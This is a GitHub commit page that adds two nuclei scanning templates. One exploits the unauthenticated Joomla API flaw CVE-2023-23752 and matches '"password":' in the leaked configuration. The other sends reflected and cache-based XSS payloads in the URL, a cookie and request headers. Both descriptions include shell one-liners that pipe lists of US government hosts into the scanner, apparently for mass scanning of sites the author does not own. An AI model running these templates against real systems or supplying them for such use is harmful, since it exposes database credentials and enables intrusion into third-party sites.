Skip to content

Commit bf090a2

Browse files
hktalenthktalent
committed
up 2023-03-30
1 parent eca5214 commit bf090a2

File tree

4 files changed

+619
-0
lines changed

4 files changed

+619
-0
lines changed

‎config/51pwn/CVE-2023-23752.yaml

Lines changed: 301 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,301 @@
1+
id: CVE-2023-23752
2+
3+
info:
4+
name: CVE-2023-23752
5+
author: 51pwn
6+
severity: critical
7+
description: |
8+
Joomla webservice endpoint access
9+
由于公司对漏洞的要求比较高，代码审计很快集中到了请求路由的代码块。不管是Wordpress/RounderCube还是PhpMyAdmin以及一些知名度比较高的php应用（一个Java安全研究员感到头皮发麻），我的重点对象变成了请求路由的代码追踪，一旦分析经过路由选择之后，剩下的业务代码我是完全不看了。虽然有点不专业，但是这是挖掘未授权漏洞最好的道路，最终终于找到了一个不错的高危漏洞——Joomla未授权访问Rest API。
10+
Joomla大致有三个路由入口，分别是
11+
12+
根目录的index.php(用户访问文章)
13+
根目录的administrator/index.php(管理员管理)
14+
根目录的api/index.php(开发者爱好的Rest API)
15+
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7（Rest API 4.x正式开发）
16+
17+
受影响的版本
18+
Joomla! CMS 版本 4.0.0-4.2.7
19+
20+
cat atckData/us_gov_httpx.json|jq '.url'|sed 's/"//g'|sort -u|nuclei -duc -t $PWD/config/51pwn/CVE-2023-23752.yaml -json -o us_gov_nuclei_CVE-2023-23752.json
21+
v1/banners
22+
v1/banners/:id
23+
v1/banners
24+
v1/banners/:id
25+
v1/banners/:id
26+
v1/banners/clients
27+
v1/banners/clients/:id
28+
v1/banners/clients
29+
v1/banners/clients/:id
30+
v1/banners/clients/:id
31+
v1/banners/categories
32+
v1/banners/categories/:id
33+
v1/banners/categories
34+
v1/banners/categories/:id
35+
v1/banners/categories/:id
36+
v1/banners/:id/contenthistory
37+
v1/banners/:id/contenthistory/keep
38+
v1/banners/:id/contenthistory
39+
v1/config/application
40+
v1/config/application
41+
v1/config/:component_name
42+
v1/config/:component_name
43+
v1/contacts/form/:id
44+
v1/contacts
45+
v1/contacts/:id
46+
v1/contacts
47+
v1/contacts/:id
48+
v1/contacts/:id
49+
v1/contacts/categories
50+
v1/contacts/categories/:id
51+
v1/contacts/categories
52+
v1/contacts/categories/:id
53+
v1/contacts/categories/:id
54+
v1/fields/contacts/contact
55+
v1/fields/contacts/contact/:id
56+
v1/fields/contacts/contact
57+
v1/fields/contacts/contact/:id
58+
v1/fields/contacts/contact/:id
59+
v1/fields/contacts/mail
60+
v1/fields/contacts/mail/:id
61+
v1/fields/contacts/mail
62+
v1/fields/contacts/mail/:id
63+
v1/fields/contacts/mail/:id
64+
v1/fields/contacts/categories
65+
v1/fields/contacts/categories/:id
66+
v1/fields/contacts/categories
67+
v1/fields/contacts/categories/:id
68+
v1/fields/contacts/categories/:id
69+
v1/fields/groups/contacts/contact
70+
v1/fields/groups/contacts/contact/:id
71+
v1/fields/groups/contacts/contact
72+
v1/fields/groups/contacts/contact/:id
73+
v1/fields/groups/contacts/contact/:id
74+
v1/fields/groups/contacts/mail
75+
v1/fields/groups/contacts/mail/:id
76+
v1/fields/groups/contacts/mail
77+
v1/fields/groups/contacts/mail/:id
78+
v1/fields/groups/contacts/mail/:id
79+
v1/fields/groups/contacts/categories
80+
v1/fields/groups/contacts/categories/:id
81+
v1/fields/groups/contacts/categories
82+
v1/fields/groups/contacts/categories/:id
83+
v1/fields/groups/contacts/categories/:id
84+
v1/contacts/:id/contenthistory
85+
v1/contacts/:id/contenthistory/keep
86+
v1/contacts/:id/contenthistory
87+
v1/content/articles
88+
v1/content/articles/:id
89+
v1/content/articles
90+
v1/content/articles/:id
91+
v1/content/articles/:id
92+
v1/content/categories
93+
v1/content/categories/:id
94+
v1/content/categories
95+
v1/content/categories/:id
96+
v1/content/categories/:id
97+
v1/fields/content/articles
98+
v1/fields/content/articles/:id
99+
v1/fields/content/articles
100+
v1/fields/content/articles/:id
101+
v1/fields/content/articles/:id
102+
v1/fields/content/categories
103+
v1/fields/content/categories/:id
104+
v1/fields/content/categories
105+
v1/fields/content/categories/:id
106+
v1/fields/content/categories/:id
107+
v1/fields/groups/content/articles
108+
v1/fields/groups/content/articles/:id
109+
v1/fields/groups/content/articles
110+
v1/fields/groups/content/articles/:id
111+
v1/fields/groups/content/articles/:id
112+
v1/fields/groups/content/categories
113+
v1/fields/groups/content/categories/:id
114+
v1/fields/groups/content/categories
115+
v1/fields/groups/content/categories/:id
116+
v1/fields/groups/content/categories/:id
117+
v1/content/articles/:id/contenthistory
118+
v1/content/articles/:id/contenthistory/keep
119+
v1/content/articles/:id/contenthistory
120+
v1/extensions
121+
v1/languages/content
122+
v1/languages/content/:id
123+
v1/languages/content
124+
v1/languages/content/:id
125+
v1/languages/content/:id
126+
v1/languages/overrides/search
127+
v1/languages/overrides/search/cache/refresh
128+
v1/languages/overrides/site/zh-CN
129+
v1/languages/overrides/site/zh-CN/:id
130+
v1/languages/overrides/site/zh-CN
131+
v1/languages/overrides/site/zh-CN/:id
132+
v1/languages/overrides/site/zh-CN/:id
133+
v1/languages/overrides/administrator/zh-CN
134+
v1/languages/overrides/administrator/zh-CN/:id
135+
v1/languages/overrides/administrator/zh-CN
136+
v1/languages/overrides/administrator/zh-CN/:id
137+
v1/languages/overrides/administrator/zh-CN/:id
138+
v1/languages/overrides/site/en-GB
139+
v1/languages/overrides/site/en-GB/:id
140+
v1/languages/overrides/site/en-GB
141+
v1/languages/overrides/site/en-GB/:id
142+
v1/languages/overrides/site/en-GB/:id
143+
v1/languages/overrides/administrator/en-GB
144+
v1/languages/overrides/administrator/en-GB/:id
145+
v1/languages/overrides/administrator/en-GB
146+
v1/languages/overrides/administrator/en-GB/:id
147+
v1/languages/overrides/administrator/en-GB/:id
148+
v1/languages
149+
v1/languages
150+
v1/media/adapters
151+
v1/media/adapters/:id
152+
v1/media/files
153+
v1/media/files/:path/
154+
v1/media/files/:path
155+
v1/media/files
156+
v1/media/files/:path
157+
v1/media/files/:path
158+
v1/menus/site
159+
v1/menus/site/:id
160+
v1/menus/site
161+
v1/menus/site/:id
162+
v1/menus/site/:id
163+
v1/menus/administrator
164+
v1/menus/administrator/:id
165+
v1/menus/administrator
166+
v1/menus/administrator/:id
167+
v1/menus/administrator/:id
168+
v1/menus/site/items
169+
v1/menus/site/items/:id
170+
v1/menus/site/items
171+
v1/menus/site/items/:id
172+
v1/menus/site/items/:id
173+
v1/menus/administrator/items
174+
v1/menus/administrator/items/:id
175+
v1/menus/administrator/items
176+
v1/menus/administrator/items/:id
177+
v1/menus/administrator/items/:id
178+
v1/menus/site/items/types
179+
v1/menus/administrator/items/types
180+
v1/messages
181+
v1/messages/:id
182+
v1/messages
183+
v1/messages/:id
184+
v1/messages/:id
185+
v1/modules/types/site
186+
v1/modules/types/administrator
187+
v1/modules/site
188+
v1/modules/site/:id
189+
v1/modules/site
190+
v1/modules/site/:id
191+
v1/modules/site/:id
192+
v1/modules/administrator
193+
v1/modules/administrator/:id
194+
v1/modules/administrator
195+
v1/modules/administrator/:id
196+
v1/modules/administrator/:id
197+
v1/newsfeeds/feeds
198+
v1/newsfeeds/feeds/:id
199+
v1/newsfeeds/feeds
200+
v1/newsfeeds/feeds/:id
201+
v1/newsfeeds/feeds/:id
202+
v1/newsfeeds/categories
203+
v1/newsfeeds/categories/:id
204+
v1/newsfeeds/categories
205+
v1/newsfeeds/categories/:id
206+
v1/newsfeeds/categories/:id
207+
v1/plugins
208+
v1/plugins/:id
209+
v1/plugins/:id
210+
v1/privacy/requests
211+
v1/privacy/requests/:id
212+
v1/privacy/requests/export/:id
213+
v1/privacy/requests
214+
v1/privacy/consents
215+
v1/privacy/consents/:id
216+
v1/privacy/consents/:id
217+
v1/redirects
218+
v1/redirects/:id
219+
v1/redirects
220+
v1/redirects/:id
221+
v1/redirects/:id
222+
v1/tags
223+
v1/tags/:id
224+
v1/tags
225+
v1/tags/:id
226+
v1/tags/:id
227+
v1/templates/styles/site
228+
v1/templates/styles/site/:id
229+
v1/templates/styles/site
230+
v1/templates/styles/site/:id
231+
v1/templates/styles/site/:id
232+
v1/templates/styles/administrator
233+
v1/templates/styles/administrator/:id
234+
v1/templates/styles/administrator
235+
v1/templates/styles/administrator/:id
236+
v1/templates/styles/administrator/:id
237+
v1/users
238+
v1/users/:id
239+
v1/users
240+
v1/users/:id
241+
v1/users/:id
242+
v1/fields/users
243+
v1/fields/users/:id
244+
v1/fields/users
245+
v1/fields/users/:id
246+
v1/fields/users/:id
247+
v1/fields/groups/users
248+
v1/fields/groups/users/:id
249+
v1/fields/groups/users
250+
v1/fields/groups/users/:id
251+
v1/fields/groups/users/:id
252+
v1/users/groups
253+
v1/users/groups/:id
254+
v1/users/groups
255+
v1/users/groups/:id
256+
v1/users/groups/:id
257+
v1/users/levels
258+
v1/users/levels/:id
259+
v1/users/levels
260+
v1/users/levels/:id
261+
v1/users/levels/:id
262+
reference:
263+
- https://hackerone.com/reports/358112
264+
- https://51pwn.com
265+
tags: web,cve,2023
266+
267+
requests:
268+
- raw:
269+
- |+
270+
GET /api/index.php/v1/config/application?public=true HTTP/1.1
271+
Host: {{Hostname}}
272+
Accept:*/*
273+
Cookie: ee60d1d99382ce00b2fc0b55e5c1975b=vl0pucs0a5jqojs89o82vn4mv3
274+
Cache-Control: max-age=0
275+
Upgrade-Insecure-Requests: 1
276+
Pragma:no-cache
277+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
278+
Connection: close
279+
unsafe: true
280+
pipeline: true
281+
# pipeline-concurrent-connections: 40
282+
# pipeline-requests-per-connection: 25000
283+
cookie-reuse: true
284+
req-condition: true
285+
matchers-condition: and
286+
stop-at-first-match: true
287+
matchers:
288+
- type: status
289+
status:
290+
- 200
291+
- type: word
292+
part: body
293+
words:
294+
- "links"
295+
- '"password":'
296+
# user|pass|id
297+
298+
- type: word
299+
part: body
300+
words:
301+
- "attributes"

‎config/51pwn/XSS_test.yaml

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
id: XSS_test
2+
3+
info:
4+
name: CVE-XSS_test-23752
5+
author: 51pwn
6+
severity: critical
7+
description: |
8+
XSS_test
9+
nuclei -duc -t $PWD/config/51pwn/XSS_test.yaml -u https://calendar.fan.gov -debug
10+
cat atckData/us_gov_httpx.json|jq '.url'|sed 's/"//g'|nuclei -duc -t $PWD/config/51pwn/XSS_test.yaml -v
11+
reference:
12+
- https://portswigger.net/research/web-cache-entanglement
13+
- https://51pwn.com
14+
tags: web,cve,2023
15+
16+
requests:
17+
- raw:
18+
- |+
19+
GET //?"><script>alert(1)</script> HTTP/1.1
20+
Host: {{Hostname}}
21+
Accept:*/*
22+
Cookie: language='-alert(1)-';
23+
X-Forwarded-Host:'-alert(1)-'
24+
origin: '-alert(1)-'
25+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
26+
27+
28+
- |+
29+
GET /%2F?"><script>alert(1)</script> HTTP/1.1
30+
Host: {{Hostname}}
31+
Accept:*/*
32+
Cookie: language='-alert(1)-';
33+
X-Forwarded-Host:'-alert(1)-'
34+
origin: '-alert(1)-'
35+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
36+
37+
38+
39+
- |+
40+
GET /(A("><script>alert(1)</script>))/ HTTP/1.1
41+
Host: {{Hostname}}
42+
Accept:*/*
43+
Cookie: language='-alert(1)-';
44+
X-Forwarded-Host:'-alert(1)-'
45+
origin: '-alert(1)-'
46+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
47+
48+
49+
unsafe: true
50+
# pipeline-concurrent-connections: 40
51+
# pipeline-requests-per-connection: 25000
52+
cookie-reuse: true
53+
req-condition: true
54+
matchers-condition: and
55+
stop-at-first-match: true
56+
matchers:
57+
- type: status
58+
status:
59+
- 200
60+
- type: word
61+
part: body
62+
words:
63+
- "<script>alert(1)</script>"
64+
- "'-alert(1)-'"
65+
condition: or

0 commit comments

Comments
 (0)